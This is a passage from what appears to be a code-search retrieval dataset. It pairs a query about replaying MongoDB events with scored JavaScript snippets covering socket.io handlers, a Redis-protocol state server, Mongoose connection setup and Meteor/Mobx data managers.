key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" } ]
6e7e441ea519c665d59b2e85257e5af3
Replay any events due to single server connection switching to Mongos
[ { "docid": "558b8b01521e5dec18be0fd967b5a2f1", "score": "0.6556345", "text": "function replayEvents(mongoClient, events) {\n for (let i = 0; i < events.length; i++) {\n mongoClient.emit(events[i].event, events[i].object1, events[i].object2);\n }\n}", "title": "" } ]
[ { "docid": "018f15472a70ea1babb6842cd495c6c9", "score": "0.5840806", "text": "notifyStateChange(){\n let self = this\n mongodb.find('world',{attr:'state'},(result)=>{\n let state = result[0].value\n if (state == 'Waiting')\n self.setTime(30)\n else\n self.setTime(60)\n self.clients.forEach((client)=>{\n client.notifyStateChange(state)\n })\n })\n }", "title": "" }, { "docid": "1ea935105337b711fc5deecb6697576b", "score": "0.571693", "text": "resubscribe (thing) {\n \tconsole.log('reopening web sockets for ' + thing.name);\n }", "title": "" }, { "docid": "2b2fc43e19863edabbd89bdbb629754e", "score": "0.565387", "text": "resubscribe (thing) {\n \tconsole.log('reopening web socket for ' + thing.name);\n }", "title": "" }, { "docid": "8b2824d07336e32bfadf855858ec52ce", "score": "0.5607917", "text": "listen() {\n this.session.on('change', this.$onLocalChange);\n this.doc.on('op', this.$onRemoteChange);\n }", "title": "" }, { "docid": "e34be4f30f40eb58dc88ed0afa2d5f42", "score": "0.5597184", "text": "function sessionEvents (req, res) {\n req.socket.setTimeout(0)\n\n // Headers\n res.writeHead(200, {\n 'Content-Type': 'text/event-stream',\n 'Cache-Control': 'no-cache',\n Connection: 'keep-alive'\n })\n\n // Set retry interval\n res.write('retry: 2000\\n')\n\n // Periodically update the client\n checkSession(req, res)\n}", "title": "" }, { "docid": "463d81b934dce89f48060c7f722e8599", "score": "0.5587188", "text": "function onPlayerReadyServer(event) {\n event.target.playVideo();\n // var myVar = setInterval( syncClientsWithServers, 5000);\n}", "title": "" }, { "docid": "cc646557770e89d0aaa8c8ba923aa656", "score": "0.5519211", "text": "replayGameEvent() {\n\t\tif (this.replay)\n\t\t\treturn;\n\t\tthis.stopped = false;\n\t\tthis.eventQueue = [() => this.startGameReplay()];\n\t}", "title": "" }, { "docid": "59bbe08991b3a543430c3e577588a1b9", "score": "0.55038124", "text": "setupConnectionListeners() {\n const instance = this;\n instance.socketIO.on('connection', function(socket) {\n socket.on('clientconnected', data => {\n instance.socketConnections.set(socket, data);\n // if the client has a different version, then send a signal to refresh the page\n if (data.props.__appProps.serverStartup!==instance._serverStartupTime) {\n // inform the client to relaod the page\n socket.emit('versionchanged');\n }\n });\n socket.on('disconnect', () => instance.socketConnections.delete(socket));\n });\n }", "title": "" }, { "docid": "790f7fa64040791a07126bd5bc5292ed", "score": "0.5488285", "text": "_socketEvents(handler) {\n let connectionName = null;\n let namespaceLog = this.namespace;\n\n // Handle Redis \"INFO\" request\n handler.on('info', (_data, responseId) => {\n let infoString = '# Server\\r\\n';\n infoString += 'redis_version:3.0.0-iobroker\\r\\n';\n infoString += '# Clients\\r\\n';\n infoString += '# Memory\\r\\n';\n infoString += '# Persistence\\r\\n';\n infoString += '# Stats\\r\\n';\n infoString += '# Replication\\r\\n';\n infoString += '# CPU\\r\\n';\n infoString += '# Cluster\\r\\n';\n infoString += '# Keyspace\\r\\n';\n infoString += `db0:keys=${Object.keys(this.dataset).length},expires=${\n Object.keys(this.stateExpires).length + Object.keys(this.sessionExpires).length\n },avg_ttl=98633637897`;\n handler.sendBulk(responseId, infoString);\n });\n\n // Handle Redis \"QUIT\" request\n handler.on('quit', (_data, responseId) => {\n this.log.silly(`${namespaceLog} Redis QUIT received, close connection`);\n handler.sendString(responseId, 'OK');\n handler.close();\n });\n\n // Handle Redis \"PUBLISH\" request\n handler.on('publish', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates || namespace === this.metaNamespace) {\n // a \"set\" always comes afterwards, so do not publish\n return void handler.sendInteger(responseId, 0); // do not publish for now\n }\n const publishCount = this.publishAll(namespace.substr(0, namespace.length - 1), id, JSON.parse(data[1]));\n handler.sendInteger(responseId, publishCount);\n });\n\n // Handle Redis \"MGET\" request for state namespace\n handler.on('mget', (data, responseId) => {\n if (!data || !data[0]) {\n return void handler.sendArray(responseId, []);\n }\n const { id, namespace } = this._normalizeId(data);\n\n if (namespace === this.namespaceStates) {\n try {\n const states = this._getStates(id);\n const result = states.map(el => (el ? JSON.stringify(el) : null));\n handler.sendArray(responseId, result);\n } catch (err) {\n handler.sendError(responseId, new Error('ERROR _getStates: ' + err.message));\n }\n } else {\n handler.sendError(\n responseId,\n new Error(`MGET-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"GET\" request for state and session namespace\n handler.on('get', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates) {\n const result = this._getState(id);\n if (!result) {\n handler.sendNull(responseId);\n } else {\n if (Buffer.isBuffer(result)) {\n handler.sendBufBulk(responseId, result);\n } else {\n handler.sendBulk(responseId, JSON.stringify(result));\n }\n }\n } else if (namespace === this.namespaceSession) {\n const result = this._getSession(id);\n if (result === undefined || result === null) {\n handler.sendNull(responseId);\n } else {\n handler.sendBulk(responseId, JSON.stringify(result));\n }\n } else if (namespace === this.metaNamespace) {\n const result = this.getMeta(id);\n if (result === undefined || result === null) {\n handler.sendNull(responseId);\n } else {\n handler.sendBulk(responseId, result);\n }\n } else {\n handler.sendError(\n responseId,\n new Error(`GET-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"SET\" request for state namespace\n handler.on('set', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates) {\n try {\n let state;\n try {\n state = JSON.parse(data[1].toString('utf-8'));\n } catch {\n // No JSON, so handle as binary data and set as Buffer\n this._setBinaryState(id, data[1]);\n return void handler.sendString(responseId, 'OK');\n }\n this._setStateDirect(id, state);\n handler.sendString(responseId, 'OK');\n } catch (err) {\n handler.sendError(responseId, new Error(`ERROR setState id=${id}: ${err.message}`));\n }\n } else if (namespace === this.metaNamespace) {\n this.setMeta(id, data[1].toString('utf-8'));\n handler.sendString(responseId, 'OK');\n } else {\n handler.sendError(\n responseId,\n new Error(`SET-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"SETEX\" request for state and session namespace\n handler.on('setex', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates) {\n try {\n let state;\n try {\n state = JSON.parse(data[2].toString('utf-8'));\n } catch {\n // No JSON, so handle as binary data and set as Buffer\n state = data[2];\n }\n const expire = parseInt(data[1].toString('utf-8'), 10);\n if (isNaN(expire)) {\n return void handler.sendError(\n responseId,\n new Error(`ERROR parsing expire value ${data[1].toString('utf-8')}`)\n );\n }\n this._setStateDirect(id, state, expire);\n handler.sendString(responseId, 'OK');\n } catch (err) {\n handler.sendError(responseId, new Error(`ERROR setStateEx id=${id}: ${err.message}`));\n }\n } else if (namespace === this.namespaceSession) {\n try {\n const state = JSON.parse(data[2].toString('utf-8'));\n const expire = parseInt(data[1].toString('utf-8'), 10);\n if (isNaN(expire)) {\n return void handler.sendError(\n responseId,\n new Error(`ERROR parsing expire value ${data[1].toString('utf-8')}`)\n );\n }\n this._setSession(id, expire, state);\n handler.sendString(responseId, 'OK');\n } catch (err) {\n handler.sendError(responseId, new Error(`ERROR _setSession ${id}: ${err.message}`));\n }\n } else {\n handler.sendError(\n responseId,\n new Error(`SETEX-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"DEL\" request for state and session namespace\n handler.on('del', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates) {\n this._delState(id);\n handler.sendInteger(responseId, 1);\n } else if (namespace === this.namespaceSession) {\n this._destroySession(id);\n handler.sendInteger(responseId, 1);\n } else {\n handler.sendError(\n responseId,\n new Error(`DEL-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"KEYS\" request for state namespace\n handler.on('keys', (data, responseId) => {\n if (!data || !data.length) {\n return void handler.sendArray(responseId, []);\n }\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceStates) {\n // special case because of simulation of redis\n let pattern = id;\n if (pattern.substring(0, 3) === this.namespaceStates) {\n pattern = pattern.substring(this.namespaceStates.length);\n }\n const keys = this._getKeys(pattern);\n const result = keys.map(id => this.namespaceStates + id);\n handler.sendArray(responseId, result);\n } else {\n handler.sendError(\n responseId,\n new Error(`KEYS-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"PSUBSCRIBE\" request for state, log and session namespace\n handler.on('psubscribe', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceMsg) {\n this._subscribeMessageForClient(handler, id.substr(this.namespaceMsgLen));\n handler.sendArray(responseId, ['psubscribe', data[0], 1]);\n } else if (namespace === this.namespaceLog) {\n this._subscribeLogForClient(handler, id.substr(this.namespaceLogLen));\n handler.sendArray(responseId, ['psubscribe', data[0], 1]);\n } else if (namespace === this.namespaceStates) {\n try {\n this._subscribeForClient(handler, id);\n handler.sendArray(responseId, ['psubscribe', data[0], 1]);\n } catch (e) {\n handler.sendError(responseId, e);\n }\n } else if (namespace === this.metaNamespace) {\n this._subscribeMeta(handler, id);\n handler.sendArray(responseId, ['psubscribe', data[0], 1]);\n } else {\n handler.sendError(\n responseId,\n new Error(`PSUBSCRIBE-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"UNSUBSCRIBE\" request for state, log and session namespace\n handler.on('punsubscribe', (data, responseId) => {\n const { id, namespace } = this._normalizeId(data[0]);\n if (namespace === this.namespaceMsg) {\n this._unsubscribeMessageForClient(handler, id.substr(this.namespaceMsgLen));\n handler.sendArray(responseId, ['punsubscribe', data[0], 1]);\n } else if (namespace === this.namespaceLog) {\n this._unsubscribeLogForClient(handler, id.substr(this.namespaceLogLen));\n handler.sendArray(responseId, ['punsubscribe', data[0], 1]);\n } else if (namespace === this.namespaceStates) {\n this._unsubscribeForClient(handler, id);\n handler.sendArray(responseId, ['punsubscribe', data[0], 1]);\n } else {\n handler.sendError(\n responseId,\n new Error(`PUNSUBSCRIBE-UNSUPPORTED for namespace ${namespace}: Data=${JSON.stringify(data)}`)\n );\n }\n });\n\n // Handle Redis \"SUBSCRIBE\" ... currently mainly ignored\n handler.on('subscribe', (data, responseId) => {\n if (data[0].startsWith('__keyevent@')) {\n // we ignore these type of events because we publish expires anyway directly\n handler.sendArray(responseId, ['subscribe', data[0], 1]);\n } else {\n handler.sendError(responseId, new Error(`SUBSCRIBE-UNSUPPORTED for ${data[0]}`));\n }\n });\n\n // Handle Redis \"CONFIG\" ... currently mainly ignored\n handler.on('config', (data, responseId) => {\n if (\n typeof data[0] === 'string' &&\n data[0].toLowerCase() === 'set' &&\n data[1] === 'notify-keyspace-events'\n ) {\n // we ignore these type of commands for now, should only be to subscribe to keyspace events\n handler.sendString(responseId, 'OK');\n } else {\n handler.sendError(responseId, new Error(`CONFIG-UNSUPPORTED for ${JSON.stringify(data)}`));\n }\n });\n\n // handle client SETNAME/GETNAME\n handler.on('client', (data, responseId) => {\n if (data[0] === 'setname' && typeof data[1] === 'string') {\n connectionName = data[1];\n namespaceLog = connectionName;\n handler.sendString(responseId, 'OK');\n } else if (data[0] === 'getname') {\n if (connectionName && typeof connectionName === 'string') {\n handler.sendString(responseId, connectionName);\n } else {\n // redis sends null if no name defined\n handler.sendNull(responseId);\n }\n } else {\n handler.sendError(responseId, new Error(`CLIENT-UNSUPPORTED for ${JSON.stringify(data)}`));\n }\n });\n\n handler.on('error', err => this.log.warn(`${namespaceLog} Redis states: ${err}`));\n }", "title": "" }, { "docid": "f2b5c7dc9f3740b7af5e147df2386678", "score": "0.54591346", "text": "_handleServerConnectionOpen(event) {\n log.debug('Handling open server connection: ', {event: event});\n log.info('Server connection open.');\n }", "title": "" }, { "docid": "f5d2d7e262d0d56fc2c2ab9d2b19dff7", "score": "0.54397374", "text": "_listenSystemEvents() {\n this.client.on('reconnecting', number => {\n console.warn(`Lost connection, trying to reconnect (${number})`);\n });\n this.client.on('resume', number => {\n console.info(`Connection has been re-established (${number})`);\n });\n this.client.on('disconnect', closeEvent => {\n console.error(`Lost connection, NOT trying to reconnect. Please check your connection and restart the bot.`);\n console.error(closeEvent);\n });\n this.client.on('warn', warning => {\n console.warn(`Received a warning:`);\n console.warn(warning);\n });\n this.client.on('error', error => {\n console.error(`Received an error:`);\n console.error(error);\n });\n }", "title": "" }, { "docid": "ff32878f7d2aaa10b2dd503d831ebd2b", "score": "0.5424898", "text": "_setState(newState, data) {\n if (this.state === newState) return\n\n // I made a state diagram. The only invalid transitions are getting to\n // 'connecting' from anywhere other than 'disconnected' and getting to\n // 'connected' from anywhere other than 'connecting'.\n if ((newState === 'connecting' &&\n (this.state !== 'disconnected' && this.state !== 'stopped'))\n || (newState === 'connected' && this.state !== 'connecting')) {\n throw new Error(\n `Cannot transition directly from ${this.state} to ${newState}`)\n }\n\n this.state = newState\n\n if (newState === 'connecting' && this.socket.canSendWhileConnecting) {\n this.canSend = true\n }\n\n if (newState === 'connected') {\n this.canSend = true\n }\n\n this._setupRetry()\n\n if (newState === 'disconnected') this.reset()\n\n this.emit(newState, data)\n\n const ignoreSubs = new Map()\n\n // No bulk subscribe for queries yet.\n this.queries.forEach(query => {\n query._onConnectionStateChanged(newState, data)\n\n if (query.docMode === 'sub'\n && (newState === 'connecting' || newState === 'connected')) {\n const {cName} = query\n\n if (!ignoreSubs.has(cName)) {\n ignoreSubs.set(cName, new Map())\n }\n\n query.results.forEach(result => {\n ignoreSubs.get(cName).set(result.name, true)\n })\n }\n })\n\n // & Emit the event to all documents & queries. It might make sense for\n // documents to just register for this stuff using events, but that couples\n // connections and documents a bit much. Its not a big deal either way.\n this.opQueue = []\n this.bsStart()\n\n this.collections.forEach((collection, cName) => {\n collection.forEach((doc, docName) => {\n if (ignoreSubs.has(cName) && ignoreSubs.get(cName).get(docName)) return\n doc._onConnectionStateChanged(newState, data)\n })\n })\n\n // Its important that operations are resent in the same order that they were\n // originally sent. If we don't sort, an op with a high sequence number will\n // convince the server not to accept any ops with earlier sequence numbers.\n this.opQueue.sort((a, b) => a.seq - b.seq)\n\n for (let i = 0; i < this.opQueue.length; i++) {\n this.send(this.opQueue[i])\n }\n\n this.opQueue = null\n this.bsEnd()\n }", "title": "" }, { "docid": "1ee68ddfceacf3eb1a3716c55dc6d430", "score": "0.5396692", "text": "getUpdates(host = EventService.server) {\n let subject = this.subj;\n /**\n * Local Variable used to know which state where we are:\n *\n * Initial State =-1\n */\n let k = -1;\n if (typeof (EventSource) !== 'undefined') {\n this.evs = new EventSource(host + '/api/state');\n this.evs.onopen = function (e) {\n console.log(\"Opening connection with \" + host);\n };\n this.evs.addEventListener(\"dbx\", function (e) {\n if (k == -1 || k == 0)\n subject.next(e[\"data\"] + 'x');\n k = 0;\n });\n this.evs.addEventListener(\"db\", function (e) {\n if (k == -1 || k == 0)\n subject.next(e[\"data\"]);\n k = 0;\n });\n this.evs.addEventListener(\"state\", function (e) {\n subject.next(\"on\");\n });\n this.evs.onerror = function (e) {\n console.log(\"test\");\n if (host == EventService.server)\n subject.next('ex');\n else\n subject.next('e');\n if (k == 2) {\n if (host == EventService.server)\n subject.next(\"rx\");\n else\n subject.next(\"r\");\n }\n if (this.readyState == 0) {\n console.log(\"Reconnecting… \" + host);\n k++;\n }\n };\n }\n }", "title": "" }, { "docid": "33a4cec2e7265949f6ceb8000890de08", "score": "0.5392052", "text": "refreshListening () {\n this._isListening = true;\n this._statOfListen = new Date().getTime();\n }", "title": "" }, { "docid": "916d1d80542e655c2a820838fedb8cdd", "score": "0.53871614", "text": "function onConnection(){\n server.getConnections(function(error,count){\n //console.log('Number of concurrent connections to the server : ' + count);\n connections.set(count);\n });\n}", "title": "" }, { "docid": "18767d6f21c23680a0991768c06f6660", "score": "0.5372394", "text": "setupEventListener() {\n const instance = this;\n Event.defineEvent('socketserver:syncclients')\n .defaultFn(instance.updateAllClients.bind(instance));\n }", "title": "" }, { "docid": "2e82097ff73d39b6fb71d19c68e6c42a", "score": "0.53592014", "text": "_simulateConnection(server, duration){\n console.log(`Queued to server ${server}`);\n this.smartServerObject[server].connections += 1;\n this.smartServerObject[server].totalTime += duration;\n\n setTimeout(()=>{\n console.log(server, this.smartServerObject[server].connections);\n this.smartServerObject[server].connections -= 1;\n this.smartServerObject[server].totalTime -= duration;\n }, duration * 1000); \n }", "title": "" }, { "docid": "6112e631024ff5ab5e6299e0570ecdc7", "score": "0.52825946", "text": "initializationAfterRestart() {\n Tracker.autorun(() => {\n if (this.restartCollection.get()) {\n Meteor.setTimeout(() => {\n this.startCollection();\n this.restartCollection.set(false);\n }, 300);\n }\n });\n }", "title": "" }, { "docid": "2d1c5e8909b4e8330c2a0053b7d0e9c2", "score": "0.52781236", "text": "if (!keepAliveData.userNotified) {\n connection.log(\"Keep alive has been missed, connection may be dead/slow.\");\n $(connection).triggerHandler(events.onConnectionSlow);\n keepAliveData.userNotified = true;\n }", "title": "" }, { "docid": "af982fa786d492347bf310828da1db04", "score": "0.52770233", "text": "updateClients() {\n this.players.forEach(player => {\n if (player.role === 'spymaster') {\n io.to(player.socket).emit('game update', this.makeSpymasterCopy());\n } else {\n io.to(player.socket).emit('game update', this.makeClientCopy());\n }\n });\n }", "title": "" }, { "docid": "d47de4a4cb410a012d04e9c6daf12216", "score": "0.524064", "text": "restartGame(){\n if(online){\n\n conexionEstablished = false;\n clearInterval(this.intervaloMensajes);\n clearInterval(this.intervaloServidor);\n //stompClient.unsuscribe(nick);\n stompClient.unsubscribe(nick);\n stompClient.disconnect();\n\n }\n stompClient = null;\n socket = null;\n jugador = -1;\n server = -1;\n online = false;\n seed = 1;\n }", "title": "" }, { "docid": "f782139d5d4f50a6651befc205a5f247", "score": "0.52219087", "text": "handleDisconnection(gameEvent) {\n const disconnectedSocket = gameEvent.socket;\n Logger_1.Logger.st(TAG, `handling disconnection of player ${iGameSocket_1.getUserNameBySocket(disconnectedSocket)} `, 'gray');\n const disconnctedSocketId = disconnectedSocket.id;\n const disconnectedUserId = disconnectedSocket.user._id.toString();\n // // 2.remove player from players list\n // this.gameRoom.players = this.gameRoom.players.filter(socket => socket !== disconnectedSocket);\n // Logger.d(TAG, `** removed player from players list , there are now [${this.gameRoom.players.length}] players **`, 'gray');\n //3.tell other players about disconnected partner\n this.io.to(this.gameRoom.roomId).emit(GAME_SOCKET_EVENTS_enum_1.GAME_SOCKET_EVENTS.partner_disconnected, { partner: disconnectedSocket.user });\n //4.give a player a certien time to reconnect:\n const time_to_reconnect = reconnection_timeout; //in milisec\n Logger_1.Logger.d(TAG, `** give ${iGameSocket_1.getUserNameBySocket(disconnectedSocket)} ${reconnection_timeout / 1000} sec cahnce to reconnect.. **`, 'gray');\n const reconnected$ = game__service_1.game$.filter((gameEvent) => \n //check a socket connected and its the disconnected player from this room\n gameEvent.eventName === GAME_SOCKET_EVENTS_enum_1.GAME_SOCKET_EVENTS.connection &&\n gameEvent.socket.user._id.toString() === disconnectedUserId);\n const timeOut$ = Observable_1.Observable.timer(time_to_reconnect);\n Observable_1.Observable.merge(reconnected$, timeOut$).first().subscribe((gameEventOrTimeout) => {\n //reconnected on time:\n if (gameEventOrTimeout.eventName) {\n const gameEvent = gameEventOrTimeout;\n const reconnectedUser = gameEvent.socket;\n Logger_1.Logger.d(TAG, `User [${iGameSocket_1.getUserNameBySocket(disconnectedSocket)}] reconnected back to gameRoomId: [${this.gameRoom.roomId}]`, 'gray');\n this.handleReconnection(reconnectedUser);\n }\n else {\n //emit game_ended event\n Logger_1.Logger.d(TAG, `User [${iGameSocket_1.getUserNameBySocket(disconnectedSocket)}] chance to reconnection passed, goomRoomId: [${this.gameRoom.roomId}]`, 'gray');\n const playersId = this.gameRoom.players.map(p => p.user._id.toString()); //players that leaving\n this.handleGameEnded(); //tell players game ended + dispose room\n }\n });\n }", "title": "" }, { "docid": "f59181962181210ba6b65befd211e102", "score": "0.5209291", "text": "function OmsMongoConnector(mongoCollection) {\n\n\tvar self = this;\n\tthis.operationsQueue = [];\n\tthis.mongoIntercept = OmsIntercept(mongoCollection);\n\n\tFunctionUtils.objectReplicateFunctions(self.mongoIntercept, self);\n\n\t//this.localCollection = MongoLocal();\n\n\tvar completeCallback = null;\n\n\tself.mongoIntercept.on('pre-insert', function() {\n\n\t\tvar parsedArgs = Utils.parseArgs(\n\t\t\targuments,\n\t\t\t[\n\t\t\t\t{name: 'opId', level: 0, validate: function(arg, allArgs) { return typeof(arg) != 'undefined' }},\n\t\t\t\t{name: 'docs', level: 0, validate: function(arg, allArgs) { return typeof(arg) == 'object' }},\n\t\t\t\t{name: 'options', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'object'; }, default: {}},\n\t\t\t\t{name: 'next', level: 0, validate: function(arg, allArgs) { return typeof(arg) === 'function'; }}\n\t\t\t]\n\t\t);\n\n\t\tself.queue(function(queueNext) {\n\t\t\tcompleteCallback = queueNext;\n\t\t\tself._docs = parsedArgs.docs; // cache the docs\n\t\t\tparsedArgs.next();\n\t\t});\n\t});\n\n\tself.mongoIntercept.on('insert', function(opId, error, result) {\n\n\t\tvar next = arguments[arguments.length - 1];\n\n\t\t// emit saved docs\n\t\tif(!Array.isArray(self._docs)) // single doc insert\n\t\t\tself._docs = [self._docs];\n\n\t\tself._docs.forEach(function(doc) {\n\t\t\tself.emit('insert', doc);\n\t\t});\n\n\t\tdelete self.docs;\n\n\t\tcompleteCallback(); // start next operation\n\t\tnext(); // continue through insertion event queue\n\t});\n\n\tself.mongoIntercept.on('pre-update', function() {\n\n\t\tvar parsedArgs = Utils.parseArgs(\n\t\t\targuments,\n\t\t\t[\n\t\t\t\t{name: 'opId', level: 0, validate: function(arg, allArgs) { return typeof(arg) != 'undefined' }},\n\t\t\t\t{name: 'query', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'object' || typeof(arg) == 'string'; }, default: {}},\n\t\t\t\t{name: 'updateOperations', level: 0, validate: function(arg, allArgs) { return typeof(arg) == 'object'; }},\n\t\t\t\t{name: 'options', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'object'; }, default: {}},\n\t\t\t\t{name: 'next', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'function'; }}\n\t\t\t]\n\t\t);\n\n\t\tif(typeof parsedArgs.query == 'string')\n\t\t\tparsedArgs.query = {_id: parsedArgs.query};\n\n\t\tself.queue(function(queueNext) {\n\t\t\tcompleteCallback = queueNext;\n\n\t\t\tif(typeof parsedArgs.options != 'object' || !parsedArgs.options.multi) {\n\t\t\t\tself.mongoIntercept.findOne(parsedArgs.query, function(error, doc) {\n\t\t\t\t\tvar docs = [doc];\n\t\t\t\t\tpostFind(error, docs);\n\t\t\t\t});\n\t\t\t}\n\t\t\telse\n\t\t\t\tself.mongoIntercept.find(parsedArgs.query, postFind);\n\n\t\t\tfunction postFind(error, docs) {\n\t\t\t\tif(error)\n\t\t\t\t\tparsedArgs.next(error);\n\t\t\t\telse {\n\t\t\t\t\t// Save unmodified docs\n\t\t\t\t\tself._unmodifiedDocs = {};\n\t\t\t\t\tdocs.forEach(function(doc) {\n\t\t\t\t\t\tself._unmodifiedDocs[doc._id] = self._cloneObject(doc);\n\t\t\t\t\t});\n\n\t\t\t\t\tself._updateOperations = parsedArgs.updateOperations; // TODO validate?\n\t\t\t\t\tparsedArgs.next();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t});\n\n\tself.mongoIntercept.on('update', function() {\n\t\t// TODO check for errors, don't emit on errors\n\t\tvar next = arguments[arguments.length - 1];\n\n\t\tvar validatedOperations = self._validateUpdate(self._updateOperations);\n\t\tUtils.objectForEach(self._unmodifiedDocs, function(unmodifiedDoc) {\n\t\t\tvar modifiedDoc = self._updateDoc(unmodifiedDoc, validatedOperations, true);\n\t\t\tself.emit('update', unmodifiedDoc, modifiedDoc, self._updateOperations);\n\t\t});\n\n\t\tdelete self._unmodifiedDocs;\n\t\tdelete self._updateOperations;\n\n\t\tcompleteCallback();\n\t\tnext();\n\t});\n\n\tself.mongoIntercept.on('pre-remove', function() {\n\n\t\tvar parsedArgs = Utils.parseArgs(\n\t\t\targuments,\n\t\t\t[\n\t\t\t\t{name: 'opId', level: 0, validate: function(arg, allArgs) { return typeof(arg) != 'undefined' }},\n\t\t\t\t{name: 'query', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'object' || typeof(arg) == 'string'; }, default: {}},\n\t\t\t\t{name: 'options', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'object'; }, default: {}},\n\t\t\t\t{name: 'next', level: 1, validate: function(arg, allArgs) { return typeof(arg) == 'function'; }}\n\t\t\t]\n\t\t);\n\n\t\tif(typeof parsedArgs.query == 'string')\n\t\t\tparsedArgs.query = {_id: parsedArgs.query};\n\n\n\t\tself.queue(function(queueNext) {\n\t\t\tcompleteCallback = queueNext;\n\n\t\t\tself.mongoIntercept.find(parsedArgs.query, function(error, docs) {\n\t\t\t\tif(error)\n\t\t\t\t\tparsedArgs.next(error);\n\t\t\t\telse {\n\t\t\t\t\t// Save unmodified docs\n\t\t\t\t\tself._unmodifiedDocs = {};\n\t\t\t\t\tdocs.forEach(function(doc) {\n\t\t\t\t\t\tself._unmodifiedDocs[doc._id] = self._cloneObject(doc);\n\t\t\t\t\t});\n\n\t\t\t\t\tparsedArgs.next();\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t});\n\n\tself.mongoIntercept.on('remove', function() {\n\t\tvar next = arguments[arguments.length - 1];\n\n\t\t// for each saved doc, emit the doc\n\t\tUtils.objectForEach(self._unmodifiedDocs, function(unmodifiedDoc) {\n\t\t\tself.emit('remove', unmodifiedDoc);\n\t\t});\n\n\t\tdelete self._unmodifiedDocs;\n\n\t\tcompleteCallback();\n\t\tnext();\n\t});\n}", "title": "" }, { "docid": "70e7918b54277ab320684ec408dfdba2", "score": "0.52047926", "text": "init () {\n // Initializing mongoose\n let connectionString = null;\n if (applicationFacade.config.items.database != null && applicationFacade.config.items.database.connectionString != null) {\n connectionString = applicationFacade.config.items.database.connectionString;\n } else {\n connectionString = applicationFacade.config.env.MONGODB_URL;\n }\n\n let connectionOptions = {\n useMongoClient: true,\n autoIndex: false, // Don't build indexes\n reconnectTries: Number.MAX_VALUE, // Never stop trying to reconnect\n reconnectInterval: 500, // Reconnect every 500ms\n poolSize: 10, // Maintain up to 10 socket connections\n // If not connected, return errors immediately rather than waiting for reconnect\n bufferMaxEntries: 0\n };\n if (applicationFacade.config.items.database != null && applicationFacade.config.items.database.options != null) {\n connectionOptions = applicationFacade.config.items.database.options;\n }\n\n this._logger.log(\"## Connecting to Mongo: \", connectionString);\n this._connection = this._mongoose.createConnection(connectionString, connectionOptions);\n\n // Handling connect event\n this._connection.on('connected', () => {\n this._logger.info('#### Successfully connected to MongoDB server');\n applicationFacade.emit(ApplicationEvent.MONGO_CONNECTED);\n applicationFacade.emit(ApplicationEvent.DATABASE_CONNECTED);\n });\n\n // Handling error event\n this._connection.on('error', () => {\n this._logger.error('#### Failed to connect to MongoDB server');\n });\n\n // Handling disconnect event\n this._connection.on('disconnected', () => {\n this._logger.warn('#### Warning application disconnected from the MongoDB server');\n });\n\n // If the Node process ends, close the Mongoose connection\n process.on('SIGINT', () => {\n this._connection.close(() => {\n this._logger.error('#### [SIGINT] Mongoose default connection disconnected through application termination');\n process.exit(0);\n });\n });\n }", "title": "" }, { "docid": "6db03ab87781a7b21e304274c17120e0", "score": "0.5201023", "text": "init() {\n log(`${ this._connection.channel.guild.name } init`)\n\n // stream end in dispatcher\n this.on('dispatcher end', () => {\n this._boundDispatcher = null\n this.emit('song end')\n })\n\n // if autoPlay, start when song ends\n if (this.options.autoPlay) {\n this.on('song end', () => {\n this.next()\n if (this.queue[0]) {\n this.start()\n }\n })\n }\n }", "title": "" }, { "docid": "39a4c08e3becd2585a3b146efbf8c979", "score": "0.51891726", "text": "constructor(state) {\n // The reference to the Mobx state store\n this.state = state;\n\n // We want to enforce max of only one subscription and observer at a time for each data manager\n this.examplesSubscription = null;\n this.examplesObserver = null;\n this.dependentsSubscription = null;\n this.dependentsObserver = null;\n\n // Use Meteor Tracker to reactively monitor user's logged in status\n this.monitorLoginState();\n\n // a Mobx autorun function for fetching data\n let examplesDataManager = autorun(() => {\n\n if (this.state.isLoggedIn) {\n this.resetExamplesSubscriptionAndObserver();\n\n // create a new Meteor subscription\n this.state.setExamplesLoading (true);\n this.examplesSubscription = Meteor.subscribe(\"examples\", {\n // callback when the Meteor subscription is ready\n onReady: () => {\n // create a Meteor observer to watch the subscription for changes and update data when they occur\n this.examplesObserver = Examples.find().observe({\n added: () => {\n this.refreshExamples(state);\n },\n changed: () => {\n this.refreshExamples(state);\n }\n });\n this.state.setExamplesLoading(false);\n }\n });\n }\n });\n\n let dependentsDataManager = autorun(() => {\n if (this.state.isLoggedIn) {\n let dependentFilter = this.state.getDependentFilterValues;\n\n 